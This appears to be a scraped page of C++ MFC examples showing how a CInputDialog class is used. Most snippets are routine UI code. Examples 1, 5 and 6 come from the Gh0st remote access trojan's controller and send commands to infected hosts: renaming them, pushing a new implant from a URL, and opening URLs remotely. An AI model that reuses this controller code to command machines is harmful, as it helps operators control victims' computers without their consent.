Example #1
0
void CGh0stView::OnRenameRemark() 
{
	// TODO: Add your command handler code here

	CString strTitle;
	if (m_pListCtrl->GetSelectedCount() == 1)
		strTitle.Format("更改主机(%s)的备注", m_pListCtrl->GetItemText(m_pListCtrl->GetSelectionMark(), 3));
	else
		strTitle = "批量更改主机备注";
	CInputDialog	dlg;
	dlg.Init(strTitle, _T("请输入新的备注:"), this);
	if (dlg.DoModal() != IDOK || dlg.m_str.GetLength()== 0)   
		return;
	
	int		nPacketLength = dlg.m_str.GetLength() + 2;
	LPBYTE	lpPacket = new BYTE[nPacketLength];
	lpPacket[0] = COMMAND_RENAME_REMARK;
	memcpy(lpPacket + 1, dlg.m_str.GetBuffer(0), nPacketLength - 1);
	
	SendSelectCommand(lpPacket, nPacketLength);
	
	POSITION pos = m_pListCtrl->GetFirstSelectedItemPosition();
	while(pos)
	{
		int	nItem = m_pListCtrl->GetNextSelectedItem(pos);
		m_pListCtrl->SetItemText(nItem, 3, dlg.m_str);
	}

	delete[] lpPacket;		
}
Example #2
0
/**
* OnNewFolder
*
*/
void CMainFrame::OnNewFolder()
{
	CFileListView * v = (CFileListView *)m_mainSplitter.GetPane(0,1);
	CInputDialog dialog;
	//dialog.SetWindowTextW(_T("bla")) ; // = TEXT("Folder name:");
	if (dialog.DoModal() == IDOK){
		// Do something
		CString input(dialog.m_inputText);
		v->CreateFolder(input);
		TRACE1("a %s \n", input);
	}
}
Example #3
0
void CLayerSelect::OnNewLayer() 
{
	CInputDialog dlg;
	dlg.csString="Слой1";
	dlg.csTitle="Идентификатор слоя:";
	if(dlg.DoModal()==IDOK)
	{
		CLayerItem data;
		data.csName=dlg.csString;
		data.bVisible=1;
		nCurrentEdit=aList.Add(data);

		ReLoadGrid();
	}
}
Example #4
0
void CLayerSelect::OnEditLayer() 
{
	CCellID curCell=m_Grid.GetFocusCell();
	int nLine=curCell.row;
	if(nLine<0 || nLine>=aList.GetSize())
		return;

	CLayerItem data=aList[nLine];
	CInputDialog dlg;
	dlg.csString=data.csName;
	dlg.csTitle="Идентификатор слоя:";
	if(dlg.DoModal()==IDOK)
	{
		data.csName=dlg.csString;
		aList[nLine]=data;
		ReLoadGrid();
	}
}
Example #5
0
void CGh0stView::OnUpdateServer() 
{
	// TODO: Add your command handler code here
	CInputDialog	dlg;
	dlg.Init(_T("下载更新服务端"), _T("请输入要下载新服务端的地址:"), this);
	if (dlg.DoModal() != IDOK)   
		return;
	dlg.m_str.MakeLower();
	if (dlg.m_str.Find("http://") == -1)
	{
		MessageBox("输入的网址不合法", "错误");
		return;
	}
	
	int		nPacketLength = dlg.m_str.GetLength() + 2;
	LPBYTE	lpPacket = new BYTE[nPacketLength];
	lpPacket[0] = COMMAND_UPDATE_SERVER;
	memcpy(lpPacket + 1, dlg.m_str.GetBuffer(0), nPacketLength - 1);
	
	SendSelectCommand(lpPacket, nPacketLength);
	
	delete[] lpPacket;	
}
Example #6
0
void CGh0stView::OnOpenUrlShow() 
{
	// TODO: Add your command handler code here
	CInputDialog	dlg;
	dlg.Init(_T("远程访问网址"), _T("请输入要显示访问的网址:"), this);
	if (dlg.DoModal() != IDOK)   
		return;
	dlg.m_str.MakeLower();
	if (dlg.m_str.Find("http://") == -1)
	{
		MessageBox("输入的网址不合法", "错误");
		return;
	}
	
	int		nPacketLength = dlg.m_str.GetLength() + 2;
	LPBYTE	lpPacket = new BYTE[nPacketLength];
	lpPacket[0] = COMMAND_OPEN_URL_SHOW;
	memcpy(lpPacket + 1, dlg.m_str.GetBuffer(0), nPacketLength - 1);
	
	SendSelectCommand(lpPacket, nPacketLength);
	
	delete[] lpPacket;	
}
Example #7
0
void CSoundSpaceDoc::OnEditInputs()
{
	CInputDialog dlg;
	if (dlg.DoModal() == IDOK) SetModifiedFlag();
	UpdateAllViews(NULL, INITIALIZE);
}
bool InputDialog (CString* pResult, const TCHAR* pLabel, const TCHAR* pTitle) {
  CInputDialog Dlg;
  return Dlg.DoModal(pResult, pLabel, pTitle);
 }